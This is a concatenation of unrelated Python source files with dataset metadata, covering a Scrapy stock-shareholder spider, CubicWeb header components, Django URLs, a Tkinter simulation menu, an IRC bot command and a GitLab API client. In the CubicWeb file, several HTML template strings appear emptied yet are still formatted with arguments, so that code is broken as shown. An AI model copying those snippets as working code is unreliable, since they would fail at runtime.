utils.web.scrapy import parse_symbols_or_indexes_argument\nfrom .extras.shareholders_item import TseTmcShareholdersItem, TseTmcShareholdersLoader\n\n\nclass TseTmcShareholdersSpider(Spider):\n \"\"\"\n Uses one urls, which needs isin (tsetmc_instrument_id).\n - Uses one request per url.\n Output: list[dict]\n Dictionary Keys: tsetmc_index, shareholder_id, shareholder_name, number_of_shares, shares_percentage, change\n \"\"\"\n\n name = 'tsetmc_shareholders_spider'\n allowed_domains = ['tsetmc.com', 'tsetmc.ir']\n\n custom_settings = {\n 'ITEM_PIPELINES':\n {'scrapy_scrapers.spiders.tsetmc.extras.shareholders_pipeline.TseTmcShareholdersPipeline': 300}\n }\n\n URL = settings.TSE_STOCK_SHAREHOLDERS_DATA_URL\n\n def __init__(self, *a, indexes: list = None, **kw):\n super().__init__(*a, **kw)\n self.indexes = parse_symbols_or_indexes_argument(indexes)\n\n @classmethod\n def format_url(cls, ci_sin: str):\n return cls.URL.format(ci_sin=ci_sin)\n\n def start_requests(self):\n ci_sins = Company.objects.all() if self.indexes == 'all' else Company.objects. \\\n filter(tsetmc_index__in=self.indexes)\n ci_sins = ci_sins.exclude(isin__exact=str()).values_list('tsetmc_index', 'ci_sin')\n for index, isin in ci_sins:\n url = self.format_url(isin)\n yield Request(url=url, callback=self.parse, cb_kwargs={'index': index})\n\n def parse(self, response: Response, **kwargs):\n index = response.cb_kwargs['index']\n soup = bs4.BeautifulSoup(response.body, 'html.parser')\n doc: html.HtmlElement = html.document_fromstring(str(soup))\n items: list[TseTmcShareholdersItem] = list()\n rows = doc.xpath('//body//table/tbody/tr')\n for row in rows:\n loader = TseTmcShareholdersLoader()\n loader.add_value('tsetmc_index', index)\n\n if 'onclick' not in row.attrib:\n continue\n sh_id = row.attrib['onclick']\n sh_id = sh_id[sh_id.find(\"'\") + 1: sh_id.find(\",\")]\n loader.add_value('shareholder_id', sh_id)\n\n tds = row.xpath('./td')\n shareholder_name = tds[0].text_content().strip()\n loader.add_value('shareholder_name', shareholder_name)\n shares_percentage = tds[2].text_content().strip()\n loader.add_value('shares_percentage', shares_percentage)\n\n number_of_shares = tds[1].xpath('./div')\n if not len(number_of_shares) or 'title' not in number_of_shares[0].attrib:\n continue\n number_of_shares = number_of_shares[0].attrib['title']\n loader.add_value('number_of_shares', number_of_shares)\n\n change = tds[3].xpath('./div')\n if len(change) and 'title' in number_of_shares[0].attrib:\n change = change.attrib['title']\n loader.add_value('change', change)\n\n item = loader.load_item()\n items.append(item)\n\n for item in items:\n yield item\n","repo_name":"mrafee113/Stocker","sub_path":"scrapy_scrapers/scrapy_scrapers/spiders/tsetmc/shareholders_spider.py","file_name":"shareholders_spider.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74783685605","text":"from cubicweb import _\n\nfrom logilab.mtconverter import xml_escape\nfrom logilab.common.registry import yes\nfrom logilab.common.deprecation import class_renamed\n\nfrom cubicweb.predicates import (match_context, configuration_values,\n anonymous_user, authenticated_user)\nfrom cubicweb.utils import wrap_on_write\nfrom cubicweb.uilib import toggle_action\nfrom cubicweb.web import component\nfrom cubicweb.web.htmlwidgets import MenuWidget, PopupBoxMenu\n\nVISIBLE_PROP_DEF = {\n _('visible'): dict(type='Boolean', default=True,\n help=_('display the component or not')),\n }\n\nclass RQLInputForm(component.Component):\n \"\"\"build the rql input form, usually displayed in the header\"\"\"\n __regid__ = 'rqlinput'\n cw_property_defs = VISIBLE_PROP_DEF\n visible = False\n\n def call(self, view=None):\n req = self._cw\n if hasattr(view, 'filter_box_context_info'):\n rset = view.filter_box_context_info()[0]\n else:\n rset = self.cw_rset\n # display multilines query as one line\n rql = rset is not None and rset.printable_rql() or req.form.get('rql', '')\n rql = rql.replace(u\"\\n\", u\" \")\n rql_suggestion_comp = self._cw.vreg['components'].select_or_none('rql.suggestions', self._cw)\n if rql_suggestion_comp is not None:\n # enable autocomplete feature only if the rql\n # suggestions builder is available\n self._cw.add_css('jquery.ui.css')\n self._cw.add_js(('cubicweb.ajax.js', 'jquery.ui.js'))\n self._cw.add_onload('$(\"#rql\").autocomplete({source: \"%s\"});'\n % (req.build_url('json', fname='rql_suggest')))\n self.w(u'''
\n\n''' % (not self.cw_propval('visible') and 'hidden' or '',\n req.build_url('view'), xml_escape(rql), req._('full text or RQL query')))\n if req.search_state[0] != 'normal':\n self.w(u''\n % ':'.join(req.search_state[1]))\n self.w(u'
')\n\n\n\nclass HeaderComponent(component.CtxComponent): # XXX rename properly along with related context\n \"\"\"if the user is the anonymous user, build a link to login else display a menu\n with user'action (preference, logout, etc...)\n \"\"\"\n __abstract__ = True\n cw_property_defs = component.override_ctx(\n component.CtxComponent,\n vocabulary=['header-center', 'header-left', 'header-right', ])\n # don't want user to hide this component using an cwproperty\n site_wide = True\n context = _('header-center')\n\n\nclass ApplLogo(HeaderComponent):\n \"\"\"build the instance logo, usually displayed in the header\"\"\"\n __regid__ = 'logo'\n __select__ = yes() # no need for a cnx\n order = -1\n context = _('header-left')\n\n def render(self, w):\n w(u'' % self._cw.base_url())\n\n\nclass ApplicationName(HeaderComponent):\n \"\"\"display the instance name\"\"\"\n __regid__ = 'appliname'\n\n # XXX support kwargs for compat with other components which gets the view as\n # argument\n def render(self, w, **kwargs):\n title = self._cw.property_value('ui.site-title')\n if title:\n w(u'%s' % (\n self._cw.base_url(), xml_escape(title)))\n\n\nclass CookieLoginComponent(HeaderComponent):\n __regid__ = 'anonuserlink'\n __select__ = (HeaderComponent.__select__ & anonymous_user()\n & configuration_values('auth-mode', 'cookie'))\n context = 'header-right'\n loginboxid = 'popupLoginBox'\n _html = u\"\"\"%s\"\"\"\n\n def render(self, w):\n # XXX bw compat, though should warn about subclasses redefining call\n self.w = w\n self.call()\n\n def call(self):\n self._cw.add_css('cubicweb.pictograms.css')\n self.w(self._html % (self._cw._('login / password'),\n self.loginboxid, self._cw._('i18n_login_popup')))\n self._cw.view('logform', rset=self.cw_rset, id=self.loginboxid,\n klass='%s hidden' % self.loginboxid, title=False,\n showmessage=False, w=self.w)\n\n\nclass HTTPLoginComponent(CookieLoginComponent):\n __select__ = (HeaderComponent.__select__ & anonymous_user()\n & configuration_values('auth-mode', 'http'))\n\n def render(self, w):\n # this redirects to the 'login' controller which in turn\n # will raise a 401/Unauthorized\n req = self._cw\n w(u'[%s]'\n % (req._('login / password'), req.build_url('login'), req._('login')))\n\n\n_UserLink = class_renamed('_UserLink', HeaderComponent)\nAnonUserLink = class_renamed('AnonUserLink', CookieLoginComponent)\nAnonUserLink.__abstract__ = True\nAnonUserLink.__select__ &= yes(1)\n\n\nclass AnonUserStatusLink(HeaderComponent):\n __regid__ = 'userstatus'\n __select__ = anonymous_user()\n context = _('header-right')\n order = HeaderComponent.order - 10\n\n def render(self, w):\n pass\n\nclass AuthenticatedUserStatus(AnonUserStatusLink):\n __select__ = authenticated_user()\n\n def render(self, w):\n # display useractions and siteactions\n self._cw.add_css('cubicweb.pictograms.css')\n actions = self._cw.vreg['actions'].possible_actions(self._cw, rset=self.cw_rset,\n view=self.cw_extra_kwargs['view'])\n box = MenuWidget('', 'userActionsBox', _class='', islist=False)\n menu = PopupBoxMenu(self._cw.user.login, isitem=False, link_class='icon-user')\n box.append(menu)\n for action in actions.get('useractions', ()):\n menu.append(self.action_link(action))\n if actions.get('useractions') and actions.get('siteactions'):\n menu.append(self.separator())\n for action in actions.get('siteactions', ()):\n menu.append(self.action_link(action))\n box.render(w=w)\n\n\nclass ApplicationMessage(component.Component):\n \"\"\"display messages given using the __message/_cwmsgid parameter into a\n special div section\n \"\"\"\n __select__ = yes()\n __regid__ = 'applmessages'\n # don't want user to hide this component using a cwproperty\n cw_property_defs = {}\n\n def call(self, msg=None):\n if msg is None:\n msg = self._cw.message # XXX don't call self._cw.message twice\n self.w(u'
\\n' %\n (toggle_action('appMsg'), (msg and ' ' or 'hidden')))\n self.w(u'
%s
' % (self.domid, msg))\n self.w(u'
')\n\n\n# contextual components ########################################################\n\n\nclass MetaDataComponent(component.EntityCtxComponent):\n __regid__ = 'metadata'\n context = 'navbottom'\n order = 1\n\n def render_body(self, w):\n self.entity.view('metadata', w=w)\n\n\nclass SectionLayout(component.Layout):\n __select__ = match_context('navtop', 'navbottom',\n 'navcontenttop', 'navcontentbottom')\n cssclass = 'section'\n\n def render(self, w):\n if self.init_rendering():\n view = self.cw_extra_kwargs['view']\n w(u'
' % (self.cssclass, view.cssclass,\n view.domid))\n with wrap_on_write(w, '

') as wow:\n view.render_title(wow)\n view.render_body(w)\n w(u'

\\n')\n","repo_name":"gurneyalex/cubicweb","sub_path":"cubicweb/web/views/basecomponents.py","file_name":"basecomponents.py","file_ext":"py","file_size_in_byte":7809,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"72231918246","text":"\"\"\"testerServer URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\n\nfrom django.urls import path\n\nfrom modules.funcition.case.views import CaseList, CaseUpdate, UploadFile, AssignCase, CaseOperation, DeleteCase, \\\n UpdateCaseOperation, TaskDetails, QuestionList, UpdateProblemCase, deleteQuestion, AssignDelete, AssignCaseOperation\n\nurlpatterns = [\n path('list', CaseList.as_view()),\n path('update', CaseUpdate.as_view()),\n path('upload', UploadFile.as_view()),\n path('assign', AssignCase.as_view()),\n path('operation', CaseOperation.as_view()),\n path('assignCase', AssignCaseOperation.as_view()),\n path('updateCase', UpdateCaseOperation.as_view()),\n path('deleteCase', DeleteCase.as_view()),\n path('taskDetails', TaskDetails.as_view()),\n path('updateProblemCase', UpdateProblemCase.as_view()),\n path('problemCase', QuestionList.as_view()),\n path('problemCase/', deleteQuestion.as_view()),\n path('assignDelete', AssignDelete.as_view()),\n]\n","repo_name":"liubox98/platform-server","sub_path":"modules/funcition/case/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"17138940766","text":"import tkinter as tk\nimport numpy as np\nfrom tkvideo import tkvideo\nfrom tkinter import ttk\nimport os\nimport sys\nsys.path.append('./src/tests')\nsys.path.append('./src/v1')\nfrom model1 import Model1\nfrom test_v1 import Tests\nimport copy\n\nclass View(object):\n\n sceneTemp = {\n \"title\": \"N-Body Gravitational Simulation - David René\",\n \"data\": [],\n \"size\": (600, 200)\n }\n\n def __init__(self):\n self.root = tk.Tk()\n self.history = []\n self.width = 600\n self.height = 200\n self.sceneLst = []\n self.root.geometry(f\"{self.width}x{self.height}\")\n\n btn_back = ttk.Button(self.root, text=\"Back\", width=20, command=lambda: self.back())\n\n lbl_select = ttk.Label(self.root, text=\"Please select a case study:\")\n btn_lagrange = ttk.Button(self.root, text=\"Lagrange points\", width=20, command=lambda: self.Lagrange())\n btn_galaxy = ttk.Button(self.root, text=\"Galaxy collision\", width=20, command=self.Galaxy)\n btn_test = ttk.Button(self.root, text=\"Run tests\", width=20, command=self.Tests)\n menu_scene = copy.deepcopy(self.sceneTemp)\n menu_scene['data'] = [lbl_select, btn_lagrange, btn_galaxy, btn_test]\n self.sceneLst.append(menu_scene)\n\n frame_lagrange = tk.Frame(self.root)\n lbl_lagrange = ttk.Label(self.root, text=\"Which Lagrange point would you like to observe?\")\n ttk.Button(frame_lagrange, text=\"L2\", width=20, command=self.L2).grid(row=0, column=0)\n ttk.Button(frame_lagrange, text=\"L4\", width=20, command=self.L4).grid(row=0, column=1)\n lagrange_scene1 = copy.deepcopy(self.sceneTemp)\n lagrange_scene1['data'] = [lbl_lagrange, frame_lagrange, btn_back]\n lagrange_scene1['title'] = \"Lagrange points - David René\"\n self.sceneLst.append(lagrange_scene1)\n\n frame_L2 = tk.Frame(self.root)\n tk.Canvas(frame_L2, width=600, height=400).pack(anchor=tk.CENTER, expand=True)\n L2_scene = copy.deepcopy(self.sceneTemp)\n L2_scene['data'] = [frame_L2, btn_back]\n L2_scene['title'] = \"L2 Observation - David René\"\n L2_scene['size'] = (600, 500)\n self.sceneLst.append(L2_scene)\n\n frame_L4 = tk.Frame(self.root)\n tk.Canvas(frame_L4, width=600, height=400).pack(anchor=tk.CENTER, expand=True)\n L4_scene = copy.deepcopy(self.sceneTemp)\n L4_scene['data'] = [frame_L4, btn_back]\n L4_scene['title'] = \"L4 Observation - David René\"\n L4_scene['size'] = (600, 500)\n self.sceneLst.append(L4_scene)\n\n frame_galaxy = tk.Frame(self.root)\n tk.Canvas(frame_galaxy, width=600, height=400).pack(anchor=tk.CENTER, expand=True)\n galaxy_scene = copy.deepcopy(self.sceneTemp)\n galaxy_scene['data'] = [frame_galaxy, btn_back]\n galaxy_scene['title'] = \"Galaxy Collision - David René\"\n galaxy_scene['size'] = (600, 500)\n self.sceneLst.append(galaxy_scene)\n\n self.build(menu_scene)\n self.root.mainloop()\n\n def Lagrange(self):\n self.build(self.sceneLst[1])\n\n def L2(self):\n self.build(self.sceneLst[2])\n\n def L4(self):\n self.build(self.sceneLst[3])\n \n def Galaxy(self):\n self.build(self.sceneLst[4])\n \n def Tests(self):\n os.system('python3 -m unittest ./src/tests/test_v1.py')\n\n def setGeo(self, size):\n self.width = size[0]\n self.height = size[1]\n self.root.geometry(f\"{self.width}x{self.height}\")\n\n def build(self, endScene, back=False):\n if len(self.history) == 0:\n startScene = None\n else:\n startScene = self.history[-1]\n if not back:\n self.history.append(endScene)\n if startScene is not None:\n for widget in startScene['data']:\n widget.pack_forget()\n self.setGeo(endScene['size'])\n self.root.title(endScene['title'])\n for widget in endScene['data']:\n widget.pack(anchor=tk.CENTER, expand=True)\n \n return endScene\n\n def back(self):\n prev_scene = self.history[-2]\n self.build(prev_scene, back=True)\n self.history.pop(-1)\n\n \nif __name__ == \"__main__\":\n view = View()\n\n\n\n\n\n","repo_name":"davidreneuw/PHYS349-nbody","sub_path":"src/view/view_v1.py","file_name":"view_v1.py","file_ext":"py","file_size_in_byte":4223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21432740288","text":"\"\"\"\nbattle.py\nMade by lapyo and Sikanaama\n\"\"\"\nimport random\nimport re\nimport sopel.module\n\nNORRIS = re.compile(r'chuck norris', re.I)\n\n@sopel.module.commands('battle')\ndef battle(bot, trigger):\n group = trigger.group(2)\n if not group:\n bot.say('Tarttis parametrejä')\n return\n \n query = re.split(r',\\W*', group.strip())\n if len(query) < 2:\n bot.say('Tarttis enemmän parametrejä')\n return\n\n weights = []\n weight = 0\n for x in range(len(query)):\n word = query[x]\n if NORRIS.match(word):\n answer = ', '.join(['%s: %d%%' % (query[i], 100 if i is x else 0) for i in range(len(query))])\n bot.say(answer)\n return\n rand = random.random()\n weights.append(rand)\n weight += rand\n \n values = []\n total = 0\n for w in weights:\n value = round(w / weight * 100)\n values.append(value)\n total += value\n \n # Rounding percentages might cause total to be 101, let's\n # snatch it from the greatest value (these are random after all) :P\n if total > 100:\n max = 0\n i = 0\n for x in range(len(values)):\n v = values[x]\n if v > max:\n max = v\n i = x\n values[i] -= total - 100\n \n answer = '%s ' % trigger.nick\n answer += ', '.join(['%s: %d%%' % (query[x], values[x]) for x in range(len(query))])\n bot.say(answer)\n","repo_name":"pulinairc/kummitus","sub_path":"modules/battle.py","file_name":"battle.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"4396580419","text":"import os\nimport numpy as np\nfrom data_settings import DataSettings\n\nclass ModelSettings(DataSettings):\n\n def __init__(self):\n super(ModelSettings, self).__init__()\n\n self.MEAN = [0.485, 0.456, 0.406]\n self.STD = [0.229, 0.224, 0.225]\n self.IMAGE_SIZE_HEIGHT = 256\n self.IMAGE_SIZE_WIDTH = 256\n self.ANNOTATION_SIZE_HEIGHT = 256\n self.ANNOTATION_SIZE_WIDTH = 256\n\n self.HORIZONTAL_FLIPPING = True\n self.RANDOM_CROPPING = False # CROP_SCALE and CROP_AR is used iff self.RANDOM_CROPPING is True\n self.CROP_SCALE = (0.8, 1.0) # Choose it carefully - have a look at lib/preprocess.py -> RandomResizedCrop\n self.CROP_AR = (3. / 4., 4. / 3.) # Choose it carefully - have a look at lib/preprocess.py -> RandomResizedCrop\n","repo_name":"Wizaron/reseg-pytorch","sub_path":"code/pytorch/settings/model_settings.py","file_name":"model_settings.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"52"} +{"seq_id":"28137662221","text":"from google.appengine.api import memcache\nfrom google.appengine.ext import ndb\nimport logging\nfrom apiMethods import examOpened\n\n\nlogging.basicConfig(level=logging.DEBUG)\nLOG = logging.getLogger(__name__)\nLOG.info(str(examOpened))\n\nfor urlsafeId in examOpened:\n examId = ndb.Key(urlsafe=urlsafeId)\n exam = examId.get()\n views = memcache.get('views' + urlsafeId)\n if views is not None:\n exam.examViews = views\n exam.put()\n else:\n memcache.add('views' + urlsafeId, exam.examViews)\nexamOpened.clear()\n","repo_name":"yp-palF/NotesCC","sub_path":"cronTasks/updateExam.py","file_name":"updateExam.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"24192322697","text":"from lib.globals import *\nfrom lib.exceptions import *\nfrom functools import wraps\nfrom copy import deepcopy\nimport requests\n\n# NOTE: Usage notes below.\n'''\n# Creating API Calls\n\n## The call Decorator\n\nThis decorator handles repetitive code.\n\nArguments:\n\n - path: The GitLab URL path that will be requested.\n - paginate: A boolean that determines if respones should be\n paginated, causing the method will behave as a generator.\n - rest_params: A dictionary that specifies the valid types\n for a given rest parameter.\n\n# Making Calls\n\n## Passing Standard Params and Data to API Calls\n\nREST parameters aside, all data and parameters are passed directly\nto the requests library for handling.\n\n## Passing Arguments to REST Parameters\n\nWhen making calls to Session objects, it will likely be necessary\nto pass arguments to REST parameters within the URI. This is\nachieved by passing a \"rest_params\" keyword argument to the method.\n\nExample:\n\nsession.revokeProjectAccessToken(\n rest_params={\n 'project_id': 7,\n 'token_id': 33})\n'''\n\nAPI_BASE = GITLAB_API_URL\n\nclass RTypes:\n\n project_id = user_id = token_id = key_id = int\n\n @classmethod\n def getTypes(cls, *handles):\n \n invalid_handles, types = [], {}\n for handle in handles:\n\n if not type(handle) == str:\n invalid_handles.append('{}: handle must be a string, got {}',\n str(handle), type(handle))\n elif not hasattr(cls, handle):\n invalid_handles.append('{}: Unknown handle.', handle)\n else:\n types[handle] = getattr(cls, handle)\n\n if invalid_handles:\n\n raise ValueError(\n 'Invalid type handles supplied: '\n f'{\" -- \".join(invalid_handles)}')\n\ndef checkResponse(resp):\n\n if resp.status_code == 403:\n\n # =======================\n # INSUFFICIENT PRIVILEGES\n # =======================\n\n raise InsufficientPrivileges(\n 'Insufficient privileges for token: '\n f'{resp.json()}')\n\n elif resp.status_code == 204:\n\n # ===================\n # NO CONTENT RETURNED\n # ===================\n\n setattr(resp, 'json', lambda: {})\n\n elif resp.status_code > 400:\n\n raise RequestError(\n f'Response status code {resp.status_code} indicates an error: '\n 'https://docs.gitlab.com/ee/api/#status-codes')\n\n return resp\n\ndef getNextURL(resp):\n return resp.links.get('next', {}) \\\n .get('url', None)\n\ndef prepareParams(rest_params, rest_args, kwargs) -> (dict, dict,):\n '''Initialize and return the parameters.\n '''\n\n # Ensure that a dictionary is always supplied to\n # rest_params\n rest_params = rest_params if rest_params else {}\n rest_args = rest_args if rest_args else {}\n\n # ================================\n # PERFORM CHECKS ON REST ARGUMENTS\n # ================================\n\n value_errors = {}\n\n for name, types in rest_params.items():\n\n # =======================================\n # ENSURE THAT REST ARGUMENTS ARE SUPPLIED\n # =======================================\n\n if not name in rest_args:\n\n value_errors[name] = (\n f'{name}: Requires a value of the following types > '\n f'{types}')\n\n else:\n\n # =====================\n # ENFORCE TYPE CHECKING\n # =====================\n\n if not isinstance(rest_args[name], types):\n\n value_errors[name] = (\n f'{name}: Requires a value of the following '\n f'types > {types}. Got {type(rest_args[\"name\"])}')\n\n if value_errors:\n\n # ==================\n # RAISE AN EXCEPTION\n # ==================\n\n msg = ''\n\n for name, error in value_errors.items():\n if not msg:\n msg = error\n else:\n msg += ' ' + error\n\n raise ValueError(msg)\n\n # Ensure a dictionary is always supplied to the\n # params value within kwargs.\n if not kwargs.get('params', None):\n kwargs['params']={}\n\n return rest_args, kwargs\n\ndef call(path, paginate=False, rest_params=None):\n '''Wrap a Session method such that it will receive a URI value\n with updated REST parameters, followed by making the request\n and returning/yielding the response from the Session object.\n\n Args:\n path: String path for the API call.\n paginate: Determines if this decorator should behave as\n a generator.\n '''\n\n # Ensure path is prefixed with a slash\n if not path[0] == '/':\n path = '/'+path\n\n _rest_params = rest_params if rest_params else {}\n\n def outer(method):\n\n if paginate:\n\n # ============\n # YIELDS PAGES\n # ============\n\n @wraps(method)\n def wrapper(obj, rest_params=None, *args, **kwargs):\n \n rest_params, kwargs = prepareParams(_rest_params,\n rest_params, kwargs)\n\n # Get the initial response\n uri = API_BASE+path.format(**rest_params) \n resp = checkResponse(method(obj, uri, *args, **kwargs))\n\n # yield the initial response\n if obj.json_output:\n yield resp.json()\n else:\n yield resp\n \n # get the next url from the links within the response\n # object\n next_url = getNextURL(resp)\n \n # yield each subsequent request\n while next_url is not None:\n\n resp = obj.get(next_url)\n\n if obj.json_output:\n yield resp.json()\n else:\n yield resp\n\n next_url = getNextURL(resp)\n\n else:\n\n # ============================\n # RETURNS INDIVIDUAL RESPONSES\n # ============================\n\n @wraps(method)\n def wrapper(obj, rest_params=None,\n *args, **kwargs):\n \n rest_params, kwargs = prepareParams(_rest_params,\n rest_params,\n kwargs)\n \n # Call the method and return the response\n resp = checkResponse(method(obj,\n API_BASE+path.format(**rest_params),\n *args, **kwargs))\n\n if obj.json_output:\n return resp.json()\n else:\n return resp\n \n return wrapper\n\n return outer\n\nclass Session(requests.Session):\n\n def __init__(self, token, json_output=False, *args, **kwargs):\n '''Initialize a Session object by accepting a token and\n binding it as an instance variable.\n\n Args:\n token: Authorization token used to authenticate to the\n GitLab API.\n json_output: Determines if all output from API calls should\n be returned as JSON objects instead of a response object.\n\n Notes:\n - The last_resp attribute will always hold the most recent\n response object.\n '''\n\n super().__init__(*args, **kwargs)\n self.token = token\n self.json_output = json_output\n self.last_resp = None\n self.headers.update({'PRIVATE-TOKEN': self.token})\n\n def request(self, url, *args, **kwargs):\n '''Override the request method such that the proper authorization\n header is always sent to the API.\n '''\n\n # Make the request\n self.last_resp = super().request(url, *args, **kwargs)\n return self.last_resp\n\n def search(self, uri, *args, **kwargs):\n '''Query GitLab's search endpoint.\n\n Notes:\n - https://docs.gitlab.com/ee/api/search.html\n '''\n\n return self.get(uri, *args, **kwarg)\n\n def findProject(self, repo_name, repo_https_url) -> dict:\n '''Find a project based on repository name while verifying\n that the proper project has been identified by comparing\n the \"http_url_to_repo\" member to repo_https_url.\n\n Args:\n repo_name: Repo name to search for.\n repo_https_url: Full URL to the repository, for validation.\n\n Returns:\n Dictionary object representing the project, as returned\n by the GitLab API.\n\n Notes:\n - Unlike other API calls, this call will always return\n a dict object.\n '''\n\n if not repo_https_url.endswith('.git'):\n repo_https_url += '.git'\n\n json_output = self.json_output\n self.json_output = True\n output = {}\n\n for page in self.iterProjects(params={'search':repo_name}):\n\n for proj in page:\n if proj['http_url_to_repo'] == repo_https_url:\n output = proj\n break\n\n self.json_output = json_output\n\n return output\n\n @call(path='/projects/{project_id}/access_tokens/{token_id}',\n rest_params=RTypes.getTypes('project_id', 'token_id'))\n def revokeProjectAccessToken(self, uri, *args, **kwargs):\n '''Revoke a project access token.\n\n Notes:\n - https://docs.gitlab.com/ee/api/resource_access_tokens.html#revoke-a-project-access-token\n '''\n\n return self.delete(uri, *args, **kwargs)\n\n @call(path='/users', paginate=True)\n def iterAllUsers(self, uri, *args, **kwargs):\n '''Generator that iterates over all GitLab users.\n\n Notes:\n - https://docs.gitlab.com/ee/api/users.html#list-users\n '''\n\n return self.get(uri, *args, **kwargs)\n\n @call(path='/projects/{project_id}/access_tokens',\n paginate=True,\n rest_params=RTypes.getTypes('project_id'))\n def iterProjectAccessTokens(self, uri, *args, **kwargs):\n '''Generator that iterates over all Project Access Tokens for\n a given GitLab project.\n\n Notes:\n - https://docs.gitlab.com/ee/api/resource_access_tokens.html#list-project-access-tokens\n '''\n\n return self.get(uri, *args, **kwargs)\n\n @call(path='/deploy_keys', paginate=True)\n def iterDeployKeys(self, uri, *args, **kwargs):\n '''Paginate over all deploy keys configured in GitLab.\n\n Notes:\n - https://docs.gitlab.com/ee/api/deploy_keys.html#list-all-deploy-keys\n '''\n\n return self.get(uri, *args, **kwargs)\n\n @call(path='/projects/{project_id}/deploy_keys',\n paginate=True, rest_params=RTypes.getTypes('project_id'))\n def iterProjectDeployKeys(self, uri, *args, **kwargs):\n '''\n Notes:\n - https://docs.gitlab.com/ee/api/deploy_keys.html#list-project-deploy-keys\n '''\n\n return self.get(uri, *args, **kwargs)\n\n @call(path='/projects/{project_id}/deploy_keys/{key_id}',\n rest_params=RTypes.getTypes('project_id', 'key_id'))\n def updateProjectDeployKey(self, uri, *args, **kwargs):\n '''\n Notes:\n - https://docs.gitlab.com/ee/api/deploy_keys.html#update-deploy-key\n '''\n\n return self.put(uri, *args, **kwargs)\n\n @call(path='/projects/{project_id}/deploy_keys/{key_id}',\n rest_params=RTypes.getTypes('project_id', 'key_id'))\n def deleteProjectDeployKey(self, uri, *args, **kwargs):\n '''\n Notes:\n - https://docs.gitlab.com/ee/api/deploy_keys.html#update-deploy-key\n '''\n\n return self.delete(uri, *args, **kwargs)\n\n @call(path='/projects/{project_id}',\n rest_params=RTypes.getTypes('project_id', 'key_id'))\n def getProject(self, uri, *args, **kwargs):\n '''Get an individual project from the GitLab API.\n\n Notes:\n - https://docs.gitlab.com/ee/api/projects.html#get-single-project\n '''\n \n return self.get(uri, *args, **kwargs)\n\n @call(path='/projects/{project_id}/repository/tree',\n rest_params=RTypes.getTypes('project_id'), paginate=True)\n def iterProjectRepoTree(self, uri, *args, **kwargs):\n '''Get a list of files from the repository.\n\n Notes:\n - https://docs.gitlab.com/ee/api/repositories.html#list-repository-tree\n '''\n\n return self.get(uri, *args, **kwargs)\n\n @call(path='/groups', paginate=True)\n def iterGroups(self, uri, *args, **kwargs):\n '''Generator that iterates over all GitLab groups.\n Notes:\n - https://docs.gitlab.com/ee/api/groups.html#list-groups\n '''\n\n return self.get(uri, *args, **kwargs)\n\n @call(path='/projects/{project_id}/share',\n rest_params=RTypes.getTypes('project_id'))\n def shareProjectWithGroup(self, uri, *args, **kwargs):\n '''\n Notes:\n - https://docs.gitlab.com/ee/api/projects.html#share-project-with-group\n '''\n\n return self.post(uri, *args, **kwargs)\n\n @call(path='/projects/{project_id}/members',\n rest_params=RTypes.getTypes('project_id'))\n def addMemberToProject(self, uri, *args, **kwargs):\n '''\n Note:\n - https://docs.gitlab.com/ee/api/members.html#add-a-member-to-a-group-or-project\n '''\n\n return self.post(uri, *args, **kwargs)\n\n @call(path='/projects/{project_id}/access_tokens',\n rest_params=RTypes.getTypes('project_id'))\n def getProjectAccesstokens(self, uri, *args, **kwargs):\n '''Get all access tokens configured for a project.\n\n Notes:\n - https://docs.gitlab.com/ee/api/resource_access_tokens.html#list-project-access-tokens\n '''\n\n return self.get(uri, *args, **kwargs)\n\n @call(path='/projects', paginate=True)\n def iterProjects(self, uri, *args, **kwargs):\n '''Return a generator that iterates through each project in\n the GitLab instance.\n\n Notes:\n - https://docs.gitlab.com/ee/api/projects.html#list-all-projects\n '''\n\n return self.get(uri, *args, **kwargs)\n\n @call(path='/projects/{project_id}/members', paginate=True,\n rest_params=RTypes.getTypes('project_id'))\n def iterProjectMembers(self, uri, *args, **kwargs):\n '''Return a generateor that iterates over each member of the\n project identified by the project_id REST parameter.\n\n Notes:\n - This does not return inhertied group members.\n - https://docs.gitlab.com/ee/api/members.html#list-all-members-of-a-group-or-project\n '''\n\n return self.get(uri, *args, **kwargs)\n\n @call(path='/projects/{project_id}/members/all', paginate=True,\n rest_params=RTypes.getTypes('project_id'))\n def iterAllProjectMembers(self, uri, *args, **kwargs):\n '''Return a generateor that iterates over each member of the\n project identified by the project_id REST parameter.\n\n Notes:\n - This differs from iterProjectMembers by including inherited\n group members as well.\n - https://docs.gitlab.com/ee/api/members.html#list-all-members-of-a-group-or-project\n '''\n\n return self.get(uri, *args, **kwargs)\n\n @call(path='/projects/{project_id}/members/{user_id}',\n rest_params=RTypes.getTypes('project_id', 'user_id'))\n def updateProjectMember(self, uri, *args, **kwargs):\n '''\n Notes:\n - https://docs.gitlab.com/ee/api/members.html#edit-a-member-of-a-group-or-project\n '''\n\n return self.put(uri, *args, **kwargs)\n","repo_name":"ImpostorKeanu/sec-vault-gen","sub_path":"lib/gitlab.py","file_name":"gitlab.py","file_ext":"py","file_size_in_byte":15643,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"52"} +{"seq_id":"45121291857","text":"import cv2\nimport mediapipe as mp\nimport numpy as np\nimport pickle\nimport json\nfrom flask import Flask, render_template, request, Response\nimport nltk\nimport 